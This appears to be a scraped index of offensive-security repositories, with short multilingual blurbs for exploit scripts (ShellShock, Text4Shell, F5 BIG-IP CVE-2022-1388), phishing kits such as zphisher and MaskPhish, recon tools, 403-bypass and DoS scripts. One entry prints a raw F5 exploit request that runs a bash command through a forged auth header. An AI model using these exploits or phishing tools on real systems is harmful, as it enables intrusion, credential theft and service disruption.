ShellShock-CGI-Scan

ShellShock-CGI-Scan Un script, en C, para comprobar si los scripts CGI son vulnerables a CVE-2014-6271 El Bug de Bash. Opciones: -i dirección IP local -p puerto de escucha -l lista de sitios -t tiempo de espera de conexión Por defecto: 15s Ejemplo: $ ./Scanner -i 127.0.0.1 -p 31337 -l sites.txt -...

sub.sh

🎯🕸📘 多进程（并行）子域名检测脚本 ✨ 🔺Sub.sh 但不需要 API 密钥 🔻 https://github.com/cihanmehmet/sub.sh ‼️ 需要 jq , httprobe 和 parallel 📌 📘 ✅ 使用的服务 + https://crt.sh + http://web.archive.org + https://dns.bufferover.run + https://www.threatcrowd.org + https://api.hackertarget.com + https://certspotter.com +...

Sudomy

Sudomy 子域名枚举与分析 Sudomy 是一个子域名枚举工具，用于收集子域名并对域进行高级自动化侦查（框架）。该工具也可用于 OSINT（开源情报）活动。 功能特性！ 目前， Sudomy 拥有以下 20 项功能： 轻量、快速、强大且易于使用。Bash脚本（控制器）在几乎所有Linux发行版中默认可用。通过使用Bash脚本的多进程特性，所有处理器都能得到充分利用。 子域名枚举过程可通过主动 方法或被动 方法实现。 主动方法 Sudomy 利用 Gobuster 工具，因其执行 DNS 子域名暴力破解（支持通配符）的高速性能。使用的字典来自 SecList Discover/DNS...

maskphish

👨‍💻️ 作者 : jaykali 🔥 MaskPhish MaskPhish 并非任何钓鱼工具。它只是“URL 伪装技术”的一个概念验证。它是一个简单的 Bash 脚本，用于将钓鱼 URL 隐藏在普通 URL（如 google.com 或 facebook.com）之下。它可以集成到钓鱼工具（需注明出处）中，使 URL 看起来更合法。 ⚖️ 法律免责声明： 仅限教育用途 未经事先双方同意，使用 MaskPhish 攻击目标是非法的。最终用户有责任遵守所有适用的当地、州和联邦法律。开发者不承担任何责任，也不对本程序造成的任何滥用或损害负责。请负责任地使用！ 常见问题 有时 Masked...

CVE-2022-42889

CVE-2022-42889 Script de Python para CVE-2022-42889 Para probar esto localmente sigue el POC de docker: https://github.com/karthikuj/cve-2022-42889-text4shell-docker Para una versión PHP de esto: https://github.com/ClickCyber/cve-2022-42889 Si estás ejecutando esto y explotándolo localmente, la I...

zphisher

一个对初学者友好的自动化钓鱼工具，拥有30多个模板。 免责声明 任何与Zphisher 相关的行为或活动均由您个人负责。滥用此工具包可能导致相关人员面临刑事指控 。贡献者将不承担任何责任 ，如果任何个人滥用此工具包触犯法律而面临刑事指控。 此工具包包含可能对社交媒体造成潜在损害或危险的内容 。在访问、使用或以任何其他方式不当使用之前，请查阅您所在省份/国家的法律。 此工具仅用于教育目的 。请勿试图利用其中任何内容违反法律。如果您有此意图，请立即离开！ 它仅演示“钓鱼攻击的工作原理”。您不得滥用这些信息来未经授权访问他人的社交媒体 。但您可以自行承担风险进行尝试。 特点 最新且更新的登录页...

Identificador-CVE-2018-11759

Otro idioma git - pt-BR Comprueba si tus instancias están expuestas al CVE 2018-11759 El archivo main es un script en bash para explotación. Las urls deben usar el protocolo y la dirección completa, ejemplo: https://test.site.com.br Para más urls en una consulta, se puede usar el here-document,...

CVE-2022-1388

CVE-2022-1388-Exploit Script de Explotación y Verificación para CVE 2022-1388 Uso Para verificar contra una sola URL de host python3 exploit.py -v true -u targeturl Para atacar un host y probar un comando en ese host python3 exploit.py -a true -u targeturl -c command Atacar una lista de hosts o...

ShellShock-CGI-Scan

ShellShock-CGI-Scan Un script, en C, para comprobar si los scripts CGI son vulnerables a CVE-2014-6271 The Bash Bug. Opciones: -i dirección IP local -p puerto para escuchar -l lista de sitios -t tiempo de espera de conexión Predeterminado: 15s Ejemplo: $ ./Scanner -i 127.0.0.1 -p 31337 -l sites.t...

GHSA-PQG4-J6R4-53MV shell-quote: `quote()` command injection via a line terminator in a token after a `{ comment }` token

Impact quote emits a comment token as followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator in that later string ends the comment, and the rest of the string is parsed as shell input: js quote'echo', 'ok',...

Bountystrike-sh

Bountystrike-sh Bountystrike-sh 是一个包含 bash 和 python 脚本的集合，用于安装常见的漏洞赏金工具、执行侦察扫描和持续的资产发现。 Bountystrike-sh 是开源的，但属于 BountyStrike 项目，一个自托管的漏洞赏金管理系统。 | \ / | | | | \ | | \ \ / / | | | | |/ / | | | | | | | | | | | | | | \ / / | | | | | | | | ' /| | | 项目 域名 bstrike.sh install 安装工具 bstrike.sh run fra...

bypass-403

Bypass-403 一个为个人使用而写的简单脚本，用于绕过403状态码 它还可以用来比较不同条件下的响应，如下所示 用法 ./bypass-403.sh https://example.com admin ./bypass-403.sh website-here path-here 功能 借助curl，使用24种已知的绕过403方法 安装 git clone https://github.com/iamj0ker/bypass-403 cd bypass-403 chmod +x bypass-403.sh sudo apt install figlet -...

bash-tls-reneg-attack

bash-tls-reneg-attack Un script bash que intenta inundar un servidor con renegociaciones TLS utilizando el cliente openssl. Consulte CVE-2011-1473 y CVE-2011-1473 para más detalles. Uso: ./tls-reneg.sh some.hostname.here:port...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 EXPLOTACIÓN PoC F5 BIG IP POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM= "command":"run",...

MozCache

MozCache（Bash 脚本） 用于对 Mozilla 浏览器缓存（Firefox、Iceweasel 和 Seamonkey）进行取证分析的简单 Shell 脚本。 该脚本按日期对使用缓存版本2的 Mozilla 家族浏览器缓存的文件进行排序。除了每个文件的名称外，脚本还会生成另一个带有后缀 "metadata" 的文件，其中包含所有元数据信息：下载 URL、大小、服务器响应代码、HTTP 协议、过期日期等。 运行脚本并输入缓存目录。如果用户在标准路径中有配置文件，则会显示出来。 $ bash mozcache.sh Mozilla profiles cache directori...

pentmenu

pentmenu 中文说明 A bash select menu for quick and easy network recon and DOS attacks Sudo is implemented where necessary. Tested on Debian and Arch. Contributions and pull requests are most welcome! Requirements: bash sudo curl netcat must support '-k' option, openbsd variant recommended hping3 or...

kaboom

简介 Kaboom 是一个用于渗透测试的自动化工具。它执行测试前两个阶段的多项任务：信息收集和漏洞评估。 所有收集到的信息都被保存到一个非常易于浏览的目录层级结构中（即使在多个目标的情况下也是如此）。 功能详情 Kaboom 执行多项任务： 1. 信息收集 端口扫描（Nmap ） Web 资源枚举（Dirb ） 2. 漏洞评估 Web 漏洞评估（Nikto - Dirb ） 漏洞评估（Nmap - Metasploit ） 自动漏洞搜索（Searchsploit - Metasploit ） 字典攻击（Hydra ） SSH POP3 IMAP RDP 使用方法 Kaboom...

hardcidr

hardCIDR Background A Linux Bash script to discover the netblocks, or ranges, in CIDR notation owned by the target organization during the intelligence gathering phase of a penetration test. This information is maintained by the five Regional Internet Registries RIRs: ARIN North America RIPE...

hardcidr

hardCIDR 背景 一个 Linux Bash 脚本，用于在渗透测试的情报收集阶段发现目标组织拥有的网络块或范围（以 CIDR 表示法）。这些信息由五个区域互联网注册管理机构（RIR）维护： ARIN （北美） RIPE （欧洲/亚洲/中东） APNIC （亚太） LACNIC （拉丁美洲） AfriNIC （非洲） 除了网络块和 IP 地址之外，自治系统编号（ASN）也很重要。ASN 作为边界网关协议（BGP）的一部分，用于唯一标识互联网上的每个网络。目标组织可能因其网络规模或由于对等服务提供商的冗余服务路径而拥有自己的 ASN。这些 ASN 将揭示组织拥有的其他网络块。 需求...

byp4xx

/ / / // / / / / / / / // /| |// |// / // / // / // / / Some cURL options you may use as example: -L follow redirections 30X responses -x : to set a proxy -m to set a timeout -H for new headers. Escape double quotes. -d for data in the POST requests body -... Built-in options: --all Verbose mode...